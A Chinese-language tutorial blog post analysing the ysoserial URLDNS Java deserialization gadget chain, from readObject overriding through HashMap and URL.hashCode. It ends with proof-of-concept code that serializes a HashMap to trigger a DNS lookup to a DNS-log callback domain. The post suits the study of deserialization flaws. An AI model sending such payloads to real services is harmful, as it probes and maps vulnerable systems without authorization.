在分析URLDNS之前,必须了解JAVA序列化和反序列化的基本概念。其中几个重要的概念:

需要让某个对象支持序列化机制,就必须让其类是可序列化,为了让某类可序列化的,该类就必须实现如下两个接口之一:
Serializable:标记接口,没有方法
Externalizable:该接口有方法需要实现,一般不用这种
 
序列化对象时,默认将里面所有属性都进行序列化,但除了static或transient修饰的成员。
序列化具备可继承性,也就是如果某类已经实现了序列化,则它的所有子类也已经默认实现了序列化。
 
序列化和反序列化的类:
ObjectOutputStream:提供序列化功能
ObjectInputStream:提供反序列化功能
 
序列化方法:
.writeObject()
反序列化方法:
.readObject()
 
既然反序列化方法.readObject(),所以通常会在类中重写该方法,为实现反序列化的时候自动执行。
 
做个简单测试:
public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
Urldns urldns = new Urldns();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(urldns);
} public void run(){
System.out.println("urldns run");
} private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
System.out.println("urldns readObject");
s.defaultReadObject();
}
}

对这个测试类Urldns做序列化后,反序列化的时候执行了重写的readobject方法。

import java.io.*;

public class Serializable_run implements Serializable{
public void run(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.readObject();
} public static void main(String[] args) throws Exception {
Serializable_run serializable_run = new Serializable_run();
serializable_run.run(new ObjectInputStream(new FileInputStream("d:\\urldns.txt")));
}
}

所以只要对readobject方法做重写就可以实现在反序列化该类的时候得到执行。

利用链的思路大致如此,那么分析URLDNS的利用链。

public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht;
}

该类实际返回HashMap类型,但是HashMap用来用来存储数据的数组是transient,序列化时忽略数据。

因为HashMap重写了writeobject方法,在writeobject实现了对数据的序列化。

还存在重写readobject方法,那么分析readobject中的内容。方法中遍历key值执行putVal方法。

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab; // Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

触发:

putVal(hash(key), key, value, false, false);

触发:

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

这里的key对象如果是URL对象,那么就

触发:URL类中的hashCode方法

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

触发DNS请求:

public synchronized int hashCode() {
if (hashCode != -1)
return hashCode; hashCode = handler.hashCode(this);
return hashCode;
}
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress; String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}

在hashCode=-1的时候,可以触发DNS请求,而hashCode私有属性默认值为-1。

所以为了实现readobject方法的DNS请求,接下来要做的是:

1、制造一个HashMap对象,且key值为URL对象;

2、保持私有属性hashcode为-1;

所以构造DNS请求的HashMap对象内容应该是:

public class Urldns implements Serializable {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://ixw9i.8n6xsg.dnslogimalloc.xyz");
Class<?> aClass = Class.forName("java.net.URL");
Field hashCode = aClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,1);
map.put(url, "xzjhlk");
hashCode.set(url,-1);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("d:\\urldns.txt"));
objectOutputStream.writeObject(map);
}
}

至于为什么在序列化的时候要通过反射将url对象中的hashCode属性稍微非-1,是因为hashCode的put方法也实际调用的是putVal(hash(key), key, value, false, true);

这个过程将触发一次DNS请求。

ysoserial URLDNS利用链分析的更多相关文章

  1. Commons-Beanutils利用链分析

    前言 本篇开始介绍 commons-beanutils 利用链,注意Commons-Beanutils 不是Commons-Collections 不要看混了,首先来看一下,什么是 commons-b ...

  2. CommonsCollections1 反序列化利用链分析

    InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...

  3. CommonsCollections2 反序列化利用链分析

    在 ysoserial中 commons-collections2 是用的 PriorityQueue reaObject 作为反序列化的入口 那么就来看一下 java.util.PriorityQu ...

  4. CommonsCollections3 反序列化利用链分析

    InstantiateTransformer commons-collections 3.1 中有 InstantiateTransformer 这么一个类,这个类也实现了 Transformer的t ...

  5. ysoserial-URLDNS学习

    简述 ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是是 ...

  6. YsoSerial 工具常用Payload分析之Common-Collections7(四)

    前言 YsoSerial Common-Collection3.2.1 反序列化利用链终于来到最后一个,回顾一下: 以InvokerTranformer为基础通过动态代理触发AnnotationInv ...

  7. YsoSerial 工具常用Payload分析之Common-Collections2、4(五)

    前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...

  8. javasec(五)URLDNS反序列化分析

    这篇文章介绍 URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作"利⽤链".因为其参数不是⼀个可以"利⽤"的命令,⽽仅为⼀个U ...

  9. ysoserial-调试分析总结篇(1)

    前言: ysoserial很强大,花时间好好研究研究其中的利用链对于了解java语言的一些特性很有帮助,也方便打好学习java安全的基础,刚学反序列化时就分析过commoncollections,但是 ...

  10. Commons-Collections反序列化

    Java反序列化漏洞 Commons Collections Apache Commons 是 Apache 软件基金会的项目.Commons Collections 包为 Java 标准的 Coll ...

随机推荐

  1. [转帖]SQL SERVER中什么情况会导致索引查找变成索引扫描

    https://www.cnblogs.com/kerrycode/p/4806236.html SQL Server 中什么情况会导致其执行计划从索引查找(Index Seek)变成索引扫描(Ind ...

  2. [转帖]一文搞懂各种数据库SQL执行计划:MySQL、Oracle等

    https://zhuanlan.zhihu.com/p/99331255 MySQL 执行计划 Oracle 执行计划 SQL Server 执行计划 PostgreSQL 执行计划 执行计划(ex ...

  3. [转帖]金仓数据库KingbaseES表空间介绍

    1.表空间的概念 KingbaseES中的表空间允许在文件系统中定义用来存放表示数据库对象的文件的位置.在KingbaseES中表空间实际上就是给表指定一个存储目录. 2.表空间的作用 通过使用表空间 ...

  4. Debian 安装vim 提示版本问题的处理

    https://blog.csdn.net/Oil__/article/details/113384278 purge 还有 --allow-remove-essential 安装失败提示解决方法安装 ...

  5. adb驱动安装

    学会adb,工资涨一千 win系统安装 1.安装adb首先需要去官网下载adb安装包,下载完成后解压会有一个adb目录以及目录下四个文件 2.然后将adb目录mv到C:\Windows下,配置环境变量 ...

  6. 【K哥爬虫普法】淘宝一亿快递信息泄漏,有人正在盯着你的网购!

    我国目前并未出台专门针对网络爬虫技术的法律规范,但在司法实践中,相关判决已屡见不鲜,K 哥特设了"K哥爬虫普法"专栏,本栏目通过对真实案例的分析,旨在提高广大爬虫工程师的法律意识, ...

  7. docker 镜像导出和导入(适用于内网无法拉镜像的问题)

    1.在外网将镜像从指定的仓库拉下来 docker pull consul 现在已将consul镜像拉到了可连外网的服务器  2.将镜像把包到指定的tar文件中 docker save consul:l ...

  8. 深入探索OCR技术:前沿算法与工业级部署方案揭秘

    深入探索OCR技术:前沿算法与工业级部署方案揭秘 注:以上图片来自网络 1. OCR技术背景 1.1 OCR技术的应用场景 OCR是什么 OCR(Optical Character Recogniti ...

  9. Python自动化办公--Pandas玩转Excel数据分析【二】

    相关文章: Python自动化办公--Pandas玩转Excel[一] Python自动化办公--Pandas玩转Excel数据分析[三] python处理Excel实现自动化办公教学(含实战)[一] ...

  10. 8.4 Windows驱动开发:文件微过滤驱动入门

    MiniFilter 微过滤驱动是相对于SFilter传统过滤驱动而言的,传统文件过滤驱动相对来说较为复杂,且接口不清晰并不符合快速开发的需求,为了解决复杂的开发问题,微过滤驱动就此诞生,微过滤驱动在 ...